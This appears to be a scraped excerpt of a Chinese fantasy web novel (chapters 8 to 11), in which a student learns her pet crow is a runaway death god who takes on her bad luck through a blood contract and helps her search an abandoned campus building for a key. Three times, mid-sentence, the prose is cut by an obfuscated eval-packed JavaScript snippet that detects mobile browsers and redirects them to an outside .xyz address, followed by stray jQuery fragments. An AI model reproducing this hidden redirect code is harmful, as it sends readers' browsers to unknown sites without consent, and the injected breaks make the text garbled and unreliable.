乌鸦开始作妖了。 常宵雨一动不动,乌鸦停了一会儿,可能觉得她睡了,胆子放大,开始蛮力掰开鸟笼门。 微微睁开眼缝,月光画出他的轮廓,将他变化的动作映照得一清二楚。 爪子搭在笼门最下方,扭着身体用嘴去撬门,一有松动便警惕抬起爪子按着缝隙,在他坚持不懈的努力下,尖爪塞进撬开大半的缝隙里。 爪子上推,笼门大开,露出足够他出入的空间,时间静止般停顿动作,然后便交换了喙与爪子的位置,撤出身体。 松开喙,笼门下落,他眼疾手快插进爪子防止金属互相碰撞发出声音,警惕摆头观察常宵雨,见她闭着眼,再回过头,慢慢抽出爪子。 常宵雨重新睁开眼睛,凝视着他。 果然是越狱。 笼门安全无声的合拢。 似乎笃定了她处于深度睡眠,赫罗特不再掩饰,大咧咧的张开翅膀伸懒腰,桌子上走了两回步子。 他看向常宵雨床尾窗口。 蹬腿张翅,向上跳跃离开桌面,藏在表面下的轻薄坚硬羽毛从翅尖延伸而出,翅膀大了一倍,挥舞几下直冲而去。 常宵雨借由厚被子掩盖神情,瞪大眼,清楚地看着他的身体落在窗台上,轻而易举抬脚推开窗,跳出窗户,消失在视线里。 室内重归寂静。 她抱着被子坐起来,盯着窗户看两秒,起身靠近,伸出手缓慢地触摸窗户玻璃,手指弯曲覆盖侧面,微微用力,手掌心传来触感。 冰凉坚硬。 窗户真的在这里。 而那只乌鸦就这样推开了,好像玻璃没有一点重量,这绝不是它应该拥有的力量。 常宵雨收回手看着自己的拳头,上拉被子,后背靠在窗户墙边,静静等待他的回归。 既然已经睡不着了,那么这件事,她一定要弄清楚。 8. 第8章 赫罗特在大学校园里转了一圈,没有任何收获,只好满腹疑惑的回到出租屋。 他懒洋洋地推开玻璃窗,窗台上跳动两下,飞入室内。 “大晚上的出门去干什么了?” 他没料到常宵雨还醒着。 寂静的夜晚,常宵雨的话如同平地惊雷,震得他忘记拍动翅膀,身体一歪差点掉地上。 赫罗特急忙挥动翅膀拯救自己,还没飞起来,就被常宵雨瞄准目标挥手收紧,掐住喉咙。 一手攥着震惊的乌鸦,他瞪得跟铜铃大的眼睛就像是被挤压出来的一样,没能立刻从被抓的事实中反应过来。 一人一鸟对视,赫罗特颈部羽毛炸起,红宝石眼珠闪过暗光。 常宵雨一眨不眨的看着他,目光如针刺入羽毛,几乎接触到他灵魂的本质,他有些难捱,但也不动,直直回望她。 一时安静。 地上凉,常宵雨爬起坐在床边,对着手里的乌鸦,在小镇里产生的困惑、来不及问的话,被她问了出来。 “你是什么东西?” 这话难听,好像在骂他一样,赫罗特拍翅膀表达不满,才轻抬翅膀就被手指压制。 他“啊啊”大叫。 常宵雨不为所动,拉扯被子盖腿上:“你就叫吧,吵到隔壁拍门,然后在这么冷的天被房东赶出去,你就老实了。” 此话一出,赫罗特眼珠滴溜溜转着,闭紧嘴巴立刻不叫了。 如此表现,再一次佐证了常宵雨的猜测。 “你不是普通乌鸦吧?精怪?邪祟?”她抛出一个接一个的身份,直到脑中再也搜刮不出其他可能的词汇。 赫罗特充耳不闻,装傻装到底,鸟喙啄了啄胸脯反翘的羽毛,一心扎在里面,不停梳理羽毛做无用功,鸟喙松开后羽毛依旧弯曲的单独翘在空气里。 要是被发现真实身份,他会被赶出去没地方住,更别提待在这个有特殊灵魂的人类身边守株待兔。 他才没有那么蠢,放弃眼前的一切。 殊不知一开始试探出的反应就暴露了他的不简单。 “不承认是吧。” 常宵雨随手一拉,把遮掩窗玻璃的半边窗帘扯开。 赫罗特视线下意识追随动作。 城中村没有路灯,外头黑压压一片,寒风呼啸,偶尔激得玻璃窗一阵颤动,发出细小噪音。 老旧房屋有些年头,房东年纪大了有些细节注意不到,例如推拉导轨变形,窗户很难推开,常宵雨作为一个力量不错的女性都需要使出吃奶的力气。 “一只普通的鸟,推不开这个窗。”她看着赫罗特静静道。 原来他暴露得如此彻底。 赫罗特有些动摇,如果能够被接受的话,活动也更加方便。 然而他最清楚不过了,尽管都被称为神,被敬畏,但人类在弥留之际见到他时,也只会大喊恶魔。 想到这里,他决定负隅顽抗到底。 常宵雨隐约感受到了他摇摆的心,距离他偏向坦白只差临门一脚,需要她推上一把。 但凡遮掩都是因为有恐惧横加阻拦,如果是她处于暴露身份的境地,什么事情能让她感到安心与信任呢? 赫罗特突然听到叹息声。 常宵雨把他轻轻放在书桌上,虚握着他故作沮丧:“好吧,我本来还想着你会不会是救我的那个人,看来是我想多了。” “话说回来,那到底是谁呢?” 她做出一副无比感恩的模样,对着赫罗特自言自语:“小乌鸦,我的体质你也知道,好想问问他我该怎么办呢,只要是能拿得出来的报酬,一定愿意给。” “而且,”她顿了顿,“我还想好好感谢他,如果不是他,我恐怕会直接死在那里,哪里还有今天,他的帮助对我来说真的很重要。” 我对她来说很重要? 而且怎么感谢? 赫罗特竖起耳朵,但这句话再也没有下文,无端焦急起来,他讨厌被吊胃口。 要不就试着坦诚面对?万一呢,万一这个人并不讨厌他。可多一个人知道,就多一分暴露的风险,他知道自己脑子笨,所以也只能用笨办法。 等到冥界的追捕时效过去,再谈不迟,何必现在就做决定。 话虽如此,他其实有些偏向袒露身份了,毕竟赌成功的好处摆在那里,可以自由活动,又多一个人帮他遮掩。 他冒险的天性蠢蠢欲动。 火候到了,常宵雨再加上一把火,她点了点赫罗特的脑袋,笑眯眯道:“不过你也很重要,毕竟你是唯一可能用一生陪着我的鸟,为了你的健康,我会亲自下厨把你喂得白白胖胖的。” 不。 那种事绝对不行。 只是听到她说的亲自料理,赫罗特胃部就开始感到不适,吃那样的饭菜,简直就是严刑逼供。 他不能再瞻前顾后,沉默下去了。 “嗯哼!”赫罗特清嗓,口吐人言,得意承认道:”没错,就是我救的你,还不把我松开?” 居然真的是。 常宵雨压下震惊,松了点手,但没松到能让他从手中溜走的地步:“你怎么证明你是?空口无凭。” 赫罗特眼里红光更胜,挺起胸脯,更加骄傲。 “证明?我为什么需要证明,我本来就是!这种事一眼就能知道,爱信不信。” “哦,那就是没有证据。”常宵雨反手捏紧他。 不对,他要说的话不是那样的。 “等等。”赫罗特懊恼地出声阻止,听起来咬牙切齿的:“我证明给你看,你先把我松开。” 常宵雨悠悠道:“万一你骗我,伺机逃跑怎么办?” “我才不会做那样的事!” 他快被惹毛了,常宵雨见好就收,配合着松开手,把它放在桌面上。 赫罗特跳到桌边,不小心踢飞了一支笔。 笔砸到地上,咕噜噜滚动一米停下。 以常宵雨脚前某一处圆形区域为中心,一股小型旋风升起,地上的笔被吹得更远撞到墙角,窗帘高高扬起,拍打玻璃窗。 她急忙拽住窗帘角把它们绑在一起。 一点墨色自旋风中心晕染开,逐渐扩大,填满旋风后又趋于透明。 风静了下来。 一道身影立于圆心。 银发还散发些微光,很快便重新隐没,他血红眼睛最为吸睛,比起晕倒后见到的圆圆大眼,变得锋利且狭长。 赫罗特张开手展示自己,转了一圈,低头看常宵雨:“怎么样,这回总相信了吧。” 斗篷等量变大,松松挂在宽肩上随重力下落,边缘破碎,看着像被撕扯出来的,乞丐装硬是给他穿出张扬的感觉。 “很像……但还是不一样。” “哎,有什么不一样的。”赫罗特有些烦躁的摸摸头,斗篷上的褶皱顺着他抬起的手弯倾泻而下。 “年龄不一样,他看起来年纪更小一点。” “肯定不一样啊,我为了节省力量才变成小孩的,而且什么他啊他的,明明就是我。”他停了下,认真地说:“变来变去很麻烦的,你得答应我,以后我不吃你做的饭,而且我还要零食,你也不能赶我出去。” 本就不富裕的经济条件将会更加严峻,思及他特殊的力量,常宵雨心里产生了些许希望。 大不了多做一份兼职,她细数自己的时间安排,还有空位。 在赫罗特的视线中,她缓缓点头。 “看好了。” 他张开手往下压,身量便开始缩水,身高下压,低于常宵雨的肩膀,只有斗篷慢一拍,拖在地上,在他的变化彻底停止后才开始缩小。 他带上兜帽抬头,肯定地说:“一模一样。” 扬起的脸上还带着些婴儿肥,红彤彤的圆眼占据大半面部,显得可怜可爱,笃定的表情与幼齿相貌割裂开,才让她有这家伙变幻了外貌的实感。 常宵雨终于点头,还打开了抽屉锁孔,他便眼睛一亮,手伸向零食。 才碰到抽屉,就听到她开口:“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542675|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,大晚上的出去干什么?” 他瞄她一眼,见没有阻止,快速拉开抽屉抓了一把小蛋糕丢进兜帽:“你要打工挣钱,我也得保证不被饿死,当然得出去收割灵魂。” 与灵魂有关的神很多,但用到收割一词的恐怕只有一种神:“死神?” “聪明。”赫罗特笑着说。 “你以灵魂为食?” 他拆开塑料包装,冥思苦想,想找到精准表达的方法:“我不知道怎么形容,但不完全对,类似有提成的工作,达到规定收割数量后每收割一个灵魂就分给我百分之二的灵魂,只不过我们没有底薪。” 赫罗特想了想又补充道:“好吧,其实还是有的,只要还留在冥界覆盖的业务范围内,收割不到灵魂也不会饿死,工作契约会给你吊着一口气。” 黑心企业啊。 “也就是说夏国不在冥界的范围内了?那你跑来这里做什么?” 等着饿死吗。 常宵雨的话语让他想起了伤心事。 他突然大笑一声:“当然是为了逃离傻吊冥界公司!近五十年死的人太多了,搞得我天天忙的和狗一样,结果回去还批评我业绩不达标,这龟工作谁爱干谁干,本来上班就烦。” 赫罗特一屁股坐在椅子上,嘴一张就吞了三个小蛋糕。 “活着最重要,再或者,你应该对夏国多做调查才离开原先的公司。”常宵雨默了默。 “我这不是没想到吗……你这话说的,和我同事一模一样。”他有点尴尬,塞进两个蛋糕:“但我就是不爽,谁管他们啊。” “进入夏国之后,工作契约连接断开了,想去哪里就去哪里,自由自在,比被压榨感觉好多了。” 当然他也并不想死,所以这才努力寻找猎物,只是来之前没想到夏国是这么个情况。 常宵雨没再说话,反倒是赫罗特勉强满足了口腹之欲,站起来恢复青年模样,冒昧地提出一个请求:你睡不着吗?那就陪我去找猎物吧。” “不去。”天色太晚,常宵雨牢记第二天的课程安排,果断爬到床中间,裹着被子侧躺下去。 大晚上的,和他出门去找不知道在哪里的猎物,开什么玩笑。 晃晃悠悠的斗篷来到她面前,占据全部视野。 常宵雨无视他,闭眼等待。 几分钟后睁开,就和一张静距离的脸对上,两双血红眼睛虹膜不规律缩放,让她一时间喉咙紧缩。 她抽出枕头打在这家伙脸上。 修长手指陷入枕头,赫罗特的脸从枕头后面露出,歪头笑道:“怎么了?” 你问怎么了?心脏病都要吓出来了。 “说了不去,走开。”常宵雨没好气的说。 “不要。”他理直气壮。 常宵雨打不过他,只能好好沟通。 “明早……今天早上还要上课,好不容易睡着,结果你给我吵醒了,刚才又差点给我吓死,你能不能让我冷静冷静?”常宵雨看着他,收紧胸口的被子。 “啊?吓到了?”赫罗特恍然大悟:“原来这样会吓到啊。” 他点了点头,直起腰远离常宵雨的脸,压迫感随着他的远离退去。 不过经此一吓,真的没法再睡觉了。 常宵雨面无表情,夺回枕头放归原位。 赫罗特观察她的动作,认为她已经恢复精神:“你现在是冷静了吗?那就出发吧!” “你……根本没听我说话吧。”常宵雨捏了捏眉心,她还不了解赫罗特脾气如何,试探着表达想法:“我说了不去,而且为什么非要带我一起,你先自己去吧。” 赫罗特已经去过两次了,再笨也意识到了不是时间问题,联想到常宵雨灵魂对负面能量的吸引力,这才想带着她一起走。 “那你怎样才能去?” 这家伙好像真的不听人话啊。 大脑中冒出这个吐槽后,常宵雨反而露出笑容,眼睛弯弯:“你帮我解决这杀千刀的运气,我就去。” “好啊。” 9. 第9章 常宵雨疑心自己听错了,怀疑的看着他询问一遍。 “你说好?” “那当然了。”赫罗特双手抱胸,自信道:“我在,就很好解决。” 常宵雨压下一点被子,盯着他晃动的斗篷:“那你知道我为什么会这样吗?” 这样倒霉。 她一直都希望能够找到造成她如今境遇的原因,可很多道门佛门的从业者也说不出个所以为然来。 “当然知道。” 她眼睛亮了亮。 “大概和你的灵魂有关。”赫罗特手指常宵雨心口:“你的灵魂泛着黑气。” “从这里散发出来。” 常宵雨听了他的话,低头看着胸口,什么都看不到,抓住他的话问道:“黑气?你认为那是什么?” “外界的怨气恨意杂七杂八的混合物吧,综合来说就是恶念,你的灵魂比普通人强大的多,但凡粘上一点,恶念在你身体里聚集后就会自动吸引同类。” 赫罗特的多年工作经验告诉了他造成厄运可能的缘故。 “就像恶魔的巢穴通常会吸引其他恶魔,尽管天天干架,但他们总是更倾向于群聚生活。” “通常情况下,外界的脏东西是不可能附着在人类的灵魂上的,人类的活人灵魂对这些东西有着天然排斥,灵魂微弱才有可能沾染。”赫罗特看着常宵雨心口,浓郁的黑气下掩盖着泛微光的真灵。 “你显然不在此行列,不知为何恶念率先居住其中,导致灵魂的强大反而助长了这种吸引力。” 赫罗特所描述的原理很简单,他没有经过太多思考,常宵雨结合他的话思考,却意识到自己这些年的经历,也许是人为的。 她无法言语。 赫罗特摆手:“你好好思考一下得罪了谁咯。” 常宵雨虽是孤儿,但幼年时期并没有太过倒霉的记忆,更像是随着年龄增长越发倒霉了。 可她从小到大人缘意外不错,加上忙于学习,没什么人会给她留下这样的印象。 如果真的有这么一个人…… 常宵雨眼神闪了闪,抬起头询问:“有办法彻底解决吗?” “彻底?”赫罗特有点苦恼:“你们这里和我们的体系有许多不同,我并不了解,所以做不到。” 得到的答案让常宵雨非常失望,而赫罗特话风一转:“不过我可以取走那些黑气,减弱霉运对你的影响,日后说不定能找到方法。” 常宵雨默默点头,这至少是个缓解方案,不像以前一样无头苍蝇乱撞,还毫无成效:“我该怎么做?” “很容易,你只要自愿把那些恶念送我就好了,对我来说相当于营养补剂,我很乐意在这件事上帮你。” “不需要付出其他的?”常宵雨不相信天上掉馅饼这种事。 “当然不。” 赫罗特倾身而下,一条长腿斗篷边探出压上床铺,折叠的膝盖使床铺凹陷,褶皱花纹般散开。 他干劲满满,眼瞳里闪烁着腥红的光芒,两手撑在常宵雨脑前脑后,滑落的斗篷触碰到手臂,头顶黑压压一片。 “来吧,现在就行。” 没人会嫌食物太多。 常宵雨偏过头挪到正上方,眼睛里的场景从他骨节分明的手晃到他的脸。 “需要离得这么近?” “谁让你躺着不起来。” 他眼里的兴奋溢出来,初看渗人,细看深处幼稚的自得无法隐藏。 常宵雨推了推他的胸膛,像触碰到一块冰冷坚硬的岩石,纹丝不动,赫罗特更得意了。 思维再简单,终究还是死神。还是稍微顺着他一点比较好。 “把手给我。” “嗯。”常宵雨轻轻应答,从被窝里伸出手举在两人脸中间。 赫罗特盯着她,抬起放她脑后的手,咬破指尖,其中流出的液体像血液,又像烟雾,凝而不散具有流动性。 带着这股血流,他强行扣住常宵雨的手,手指一根根挤入她的手指缝隙,紧紧抓住。 常宵雨不明所以,心中疑虑不减,只是没有更好的办法,顺着他的意思反握住手。 好凉。 常宵雨默默思考,可能死神都这样吧。 微风自两人身体间散开。 手心手背对应位置骤然发烫,传来贯穿般的疼痛,她皱眉眯了下眼,尽量忍耐。 两人紧紧相贴的手心发出红光,透过□□她能看到自己模糊的手骨,与最外层分布的血管经脉。 大放红光的血液,如绣娘手中红线般灵巧地在手背上编织,复杂的图案产生雏形。 “这是契约。”赫罗特洋洋得意,头发被契约的气浪吹得翻飞。 “只要让这些东西认为我和你是一体的,他们就会愿意跑到我身上来。”契约作为桥梁能把两人连接起来。 “你如果遇到了什么事情,喊我的名字,我还能通过契约感受到,我会尽快赶过来的。” “要知道,你这样的灵魂可不好找。” 红光熄灭,血红的契约图案在常宵雨的注视下微微扭曲,活物般烙印在手背,随即隐没于皮肤下。 常宵雨张开五指从赫罗特手里溜走,近距离观察手背,果然什么也看不见了,让人难以想象之前烙印了图案。 “结束了?这样就行了吗?” “当然,而且现在你也能看到这些东西了。”赫罗特勾勾手指,她敏锐的感觉到赫罗特手上传来一股微不可查的吸力,却又真实存在。 常宵雨连忙屏息,集中注意力观察变化。 黑气突破心口而出,丝带般游向赫罗特,缠绕在他的手指上,旋转几圈便前赴后继的涌入掌心。 常宵雨看着他被窗外月光照亮半边的脸庞,在黑气的不断流转下,他的脸庞居然逐渐泛起血色,与之前的苍白肤色相比,更具活人感。 看来他得到了些好处。 比起单方面接受帮助,常宵雨觉得这样互相利用更好,有价值交换的关系才会长久。 而且以后为了长期补品,他肯定会愿意保护她,这都是沉没成本。 “好了。”赫罗特的手重新落回斗篷下。 常宵雨脑海中自动出现契约内容,与赫罗特所说的相差无几,没有被骗,她稍微放下心。 紧接着,她试着深呼吸三下,最明显的感觉是身体动作时变得轻松了,仅仅只是深呼吸都能发现这一点。 “怎么样?现在可以出发了吧?”赫罗特急不可耐的问。 常宵雨望了他一眼:“感觉很好。” “但是,你可以看看现在几点了。”拿起手机,常宵雨向他展示屏幕上黑色粗体的醒目时间显示。 赫罗特眼睛里倒映着手机屏幕亮面。 “三点怎么了。”他困惑道。 “有没有一种可能,人类的工作时间不在三点。”常宵雨关上手机扔到一边:“而且我第二次强调了明天有早八,我明天六点必须起床,只剩三个小时了。” “可你应该睡不着了,不如和我出门。” 常宵雨额头冒出井字符青筋,耐心道:“睡不着不代表我不需要休息,躺着闭目养神也可以。” 她反问一句:“你很急吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542676|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “不急。”赫罗特坦然。 常宵雨想着明天的安排,在心里打算盘。 下午只有一节课,她可以在奶茶店兼职到六点,吃完饭天黑时间又不太晚,正好。 “那么,最好是等到明天……今天晚上再出发,否则精神不济,反而做事效果不好。” 赫罗特默默点头,无论如何,能一起去就可以。 “人类脆弱,确实需要休息。”赫罗特接受了她的提议,让她好好休息,转而提出了另一个要求:“我也要睡床上,你明白我不是真的乌鸦。” 他松开支撑在床上的手滚到常宵雨的右手边平躺,然而这张床只比宿舍单人床大一点点,常宵雨被挤到墙边。 常宵雨想把他踹下去,又不敢真的对一个非人类如此粗暴:“我们性别不同,这不合适。” 好有道理。 赫罗特想了想,把身体侧过来往边上蠕动,空出位置。 得,说不通。 与其纠结他,不如好好休息。 常宵雨躺回空位,被子盖过头,蒙头睡觉。 她思绪放空,意识渐渐模糊,只感觉旁边床铺一松,有被子外的冷气进来。 常宵雨不甚清醒的微张眼皮,看到赫罗特变成小鸟探进头来,偷偷摸摸瞄她几眼,便将鸟头侧靠在枕头上。 她心里突然轻松了些。 随他去吧。 常宵雨闭上眼,汹涌的睡意裹挟她进入睡眠。 * 饭堂里很热闹,没位置的常宵雨坐在门口附近吃饭,寒飕飕的,凉意无时无刻浸透身体,常宵雨开始羡慕北方的暖气。 赫罗特一点也没受到影响。 他躲在桌子下,坐常宵雨腿上,张嘴等吃。 常宵雨拉紧衣领,塞进一口面,筷子夹起肉片往怀里丢,赫罗特瞄准脖子弹簧般一伸,肉片吞进肚子里。 摸出口袋里的纸巾一分为二,擦嘴然后团起来,端起碗筷来到厨余垃圾回收处,赫罗特飞上肩跳进包里躲藏。 速度很快,没人看清。 汤面哗啦啦进入垃圾箱,碗筷放在箱子里,常宵雨走出饭堂大门。 衣领口子呼呼灌风,她缩了缩脖子,决定明天开始戴围巾来学校。 冬天天黑的早,但晚餐时间人还是多。 常宵雨沿着食堂台阶慢走,精神紧绷,暗自观察周边,在拐弯进去的时候格外注意附近人的动向。 食堂后面便是一条小路,两边大片树林,这条小路通往旧校舍。 远远看到路口的拉起的黄色警戒线,明亮刺眼。由于是自杀而不是刑事案件,据说警戒线再过几天就会撤走。 赫罗特冒出头,看着后方大咧咧的说:“紧张什么,没有人看你。” “万一有就完了,学校明令禁止学生靠近。” 事情只过去一个星期不到,再过一段时间可能没人在乎,但此时正是最冒险的时间段。 “只要不被发现,规矩就是死的。”他不以为意。 常宵雨做不到赫罗特的无所拘束,任何事情都要承担代价,她必须考虑被发现了该怎么办,而遵守规则是最不费力去保障自己安全的方法。 两人沉默一路。 “好像有人。” 忽然,赫罗特压低声音在她耳边提醒。 她左右看看,这条直路没有可供藏身的地方,立即迈步穿过灌木丛进入树林,借助树干与灌木从蹲下遮挡身形。 保安从校舍后面走出,好几步才打开手里的手电筒继续巡逻。 地面亮堂堂。 10. 第10章 保安提起裤子,拿上手电筒,两手艰难的扣皮带。 他骂骂咧咧的走出厕所,要不是突然尿急才不会在这种地方停留。 望着前面阴森森一片,他往树林里扫了一眼,面色苍白的抖了抖,强行让自己振作起来。 巡逻完赶紧离开这片区域吧。 脚下生风,他边走边打开手电筒,四周一亮,却看到树林里好像有什么东西动了。 他倏的收回视线,不敢再看,继续按照规定路线巡逻。 一定是错觉,要不就是风。 树林里的常宵雨也紧张,不敢喘气,谨慎地捂住嘴生怕被发现,透过树叶缝隙观察情况。 总觉得刚才保安好像看了她一眼。 叶片遮挡了其他方向的视角,反而不好观察,缝隙有局限,只能看到他身体的一部分,像是渐渐走得近了。 常宵雨扭头看向树林深处。 这里在黑暗中躲躲还不错,走到附近手电筒一打,必然暴露无遗。 趁着他还未靠近,常宵雨立刻动起来,低头辨认草地里的枯枝烂叶,猫着腰小心跨过任何可能发生声响的东西。 她一步一步挪动往深处走。 咔嚓。 没有光线,看不太清草地,又有杂草落叶掩盖,不可避免的踩到树枝发出一点点声音。 既然已经发出了能被对方听到的声响,她干脆就不再小心,以最快的速度往树林中闪去。 “谁?” 保安强装镇定,手电筒哗的一下照过来,打在树干上,只看到黑影一闪而过。 更深处光线减弱,无数树干在后面层层叠叠,越发幽深。 保安抖了抖腿。 没有鬼,世界上没有鬼,不然前几天就不会安稳度过,他安慰自己,走近灌木丛,借助手电筒往里面看。 “哪个班的学生啊?知道这里不安全还跑过来探险?出来,我要告诉你们辅导员!”保安大喊一声,为自己壮胆。 赫罗特摆动尾羽。 “别动。”常宵雨盯着他,嘴张合几下用气音道。 保安找不到人,一会儿就走了,再忍耐几分钟。 赫罗特的尾羽张开合上,然后静止不动,穿越半个树林远远望着外面。 风吹得树叶哗啦啦作响,夹杂穿越其中的呼呼风声。 事与愿违,见到周围始终没有动静,保安的胆子反而大起来。 如果对方是鬼的话,怎么可能不出现,还能怕他这个人类不成? 他认定了来这里的是学生,前几天也有这样的事,或者说,只有这样他才不会害怕。 “我看到你们两个了,说过多少遍,小情侣不要来这边约会,你们这些学生根本不听。” 常宵雨保持贴在树干后的姿势一动不动。 看来保安根本没有看清她,只是来诈人的。 “不出来的话,我就进来找人了。”语毕,他在原地等了一会儿,依旧没有动静。 保安把手电筒往地面照,然后一脚踩入灌木丛。 咔嚓。 常宵雨听到好几根枝干断裂的声音。 他准备走进来了,还能去哪里躲?常宵雨搜寻四周的突破口。 赫罗特拍了拍她的肩,在常宵雨扭头看他时,翅膀指了指门口,然后翅膀一挥冲向保安。 保安前脚此时还卡在灌木丛里,后脚就要进来,却迎面冲来一只黑漆漆的东西,张开的翅膀让他看起来体积大了不止一倍。 保安身体本能后仰避开。 快撞上的瞬间,赫罗特拍打翅膀,迅速攀升。 “原来是一只乌鸦,真晦气。”保安心有余悸,嘀咕着说了好几句脏话,拔出腿回到小路。 是他看错了。 保安随手擦了擦汗,可能是觉得想太多的自己有点丢脸,迅速摇头观望周围,然后提起手电筒沿着固定路线离开。 常宵雨看他逐渐走出自己的视线,松了一口气。 再静静等待两分钟,她从树林中出来,直直跑向旧校舍入口。 迟则生变。 赫罗特的双眼突兀亮起,为她指引方向。 常宵雨奔跑到红光底下,赫罗特正站在路灯上方,见她到地方,率先飞进去。 她跟着走进去。 旧校舍废弃约有三年,大约是在她高考的时候弃置不用的,但里面的东西看起来还很新。 越过布满蛛网的窗框,教室里的座椅摆放凌乱,最后一排钉在地上的椅子歪了一角,与其他座位排列形成夹角。 她的目光只是一晃而过,追赶赫罗特的前进方向,来到电梯前。 赫罗特落在肩上,电梯屏幕显示着红色的数字一,常宵雨按下按钮,电梯门在她的面前缓缓打开。 居然真的有电。 还以为校舍被废弃后会断水断电呢。 电梯很快到达顶层,最后一层天台需要爬楼梯才能上去。 常宵雨跨上最后一层台阶,天台的门上挂着u型锁。 她不死心地扭几下门把手,大门没有打开,回头与赫罗特面面相觑。 赫罗特举起手,黑烟拉长凝固,汇聚成镰刀的雏形,一想到要破坏什么,他就由衷的感到兴奋:“砍断就好了。” “不行,我怕他们发现门锁坏了,去翻监控。先找找钥匙在哪里吧。”常宵雨冷静的说。 她进来时就留意到,旧校舍的建筑布局和其他教学楼完全一致,这意味着保管钥匙的房间应该在同一层。 就是不知道钥匙在旧校舍废弃后有没有被人取走。 赫罗特遗憾的收回镰刀。 “走,去三楼。”常宵雨跳下楼梯,一步三个台阶,通过电梯来到了三楼。 走出电梯,面前的走廊中间比起其他楼层多出一个空中小花园。 纯白的欧式圆桌两边分别摆放着花纹复杂的小椅子,陶瓷花瓶里插着的假花泛黄,有些陈旧卷曲。 地上铺着的假草坪约有二十米,走过草坪区域,第一间办公室就是辅导员的办公室。 门口的墙边还印着不同学院的门牌,常宵雨盯着门牌上的信息一个一个找。 不同建筑的布局有细微不同,比如管理学院与计算机学院的办公室位置就和现在的教学楼不同,互相调换了位置,但功能大体一致。 赫罗特看看门牌,又回头看看小花园,再趴在栏杆上看看楼下,时不时留意常宵雨检查到了哪里,然后赶上来缀在她身后,继续散漫地乱走。 “你能不能也找找?这是我一个人的事情吗?”常宵雨抬手揪住他的兜帽。 赫罗特还想跑,常宵雨扯着他走到办公室前,指着门牌让他看。 他居然也乖乖过去了,认真的辨认门牌。 还没感到一丝欣慰,下一秒赫罗特的话语就打破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542677|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常宵雨的想法:“看不懂,我看不懂夏国字。” 常宵雨暗骂自己粗心。 她忘记了这件事,这家伙不是本地神。 结果还是得靠她。 常宵雨无奈加快速度,门牌不多,走廊布局呈现弓字形,从头走到尾需要一定时间,但走到最后,她开始怀疑自己是否对教学楼的布局有所遗漏。 “没有总务处?”常宵雨对着最后一个门牌喃喃自语。 总务处是最有可能保存备用钥匙的地方,她总不能把整栋楼都搜索一遍,一晚上尽干这事。 “很正常,不可能没有一点变化嘛。”赫罗特双手抱头,往墙上一靠,脸上闪过一丝诧异,然后身体猛然消失不见。 “没办法,继续找吧,我们去四楼。”常宵雨回头,却没看到赫罗特的身影。 “赫罗特?”她的视线停滞在半空。 没几秒,赫罗特的斗篷长出墙壁,他跨出墙壁重新站在走廊上。 “啊——”他懊恼的说:“我忘记这个形态下可以穿墙了,差点一次性穿过两三堵墙。” 一不留神就进入后面的房间。 “没事就好。”常宵雨说完这句话,才意识到他刚才说的话:“你的意识是后面有房间?” “是啊。”赫罗特完全没觉得有什么不对。 但这面墙的后面是楼梯,怎么可能会有房间。 常宵雨走到楼梯间推门,门吱呀一声响开了个小口,阻力很大,她把上半身肩膀抵在推门的手上,准备借力推门。 赫罗特伸手一推,长臂跨过她的头顶,轻轻松松打开大门,意味不明的看着她。 两人的动作就着当前姿势停了下来。 “谢谢。”打破这诡异沉默的是常宵雨,她没抬头低声道谢,从门口进入楼梯间,赫罗特收回手,眯眼笑着用脚踢开门紧随其后。 一扇涂灰漆的窄门就在大门旁边,位于楼梯间的角落。 离谱了,谁能想到有个房间的门建在楼梯间。 但这个房间没有窗户,没法开窗爬进去。 常宵雨想起刚才的事情,目光移动在靠着墙的死神身上,他这次没有再陷进去,心情似乎也很好,应该能够使唤。 注意到她的眼神,赫罗特询问:“怎么了?” “麻烦你再进去一次,然后把里面所有的钥匙从门缝里递出来给我看看。”怕他不配合,常宵雨加上一句话:“这可是为了你自己。” “行。”赫罗特伸手穿透墙面,直接进入房间。 这是一个很小的房间,窄窄长长,墙边靠着一排柜子,门边贴着值班表格的发黄纸张,褪色签字字迹龙飞凤舞,大半脱离下来。 柜门是透明玻璃,意外很干净,赫罗特看了几眼,就知道里面空空如也。 他来到另一边,柜子旁边的小空位上钉着三排挂钩,只有两个挂钩上面有东西。 赫罗特拿起这两串钥匙,仔细看了看姓名贴上的文字。 还是看不懂。 不过他要做的事情已经做完了,赫罗特蹲在门口,把钥匙从门缝里塞出去。 手指按在钥匙上,感受对面传来的拉力,他收回手站起来,抬腿穿过门。 常宵雨拿着两串钥匙对比,握紧其中一串。 “是这个?” 她点头。 “我做了你要求的事情,你是不是应该说什么?” 11. 第11章 “说什么?”常宵雨问。 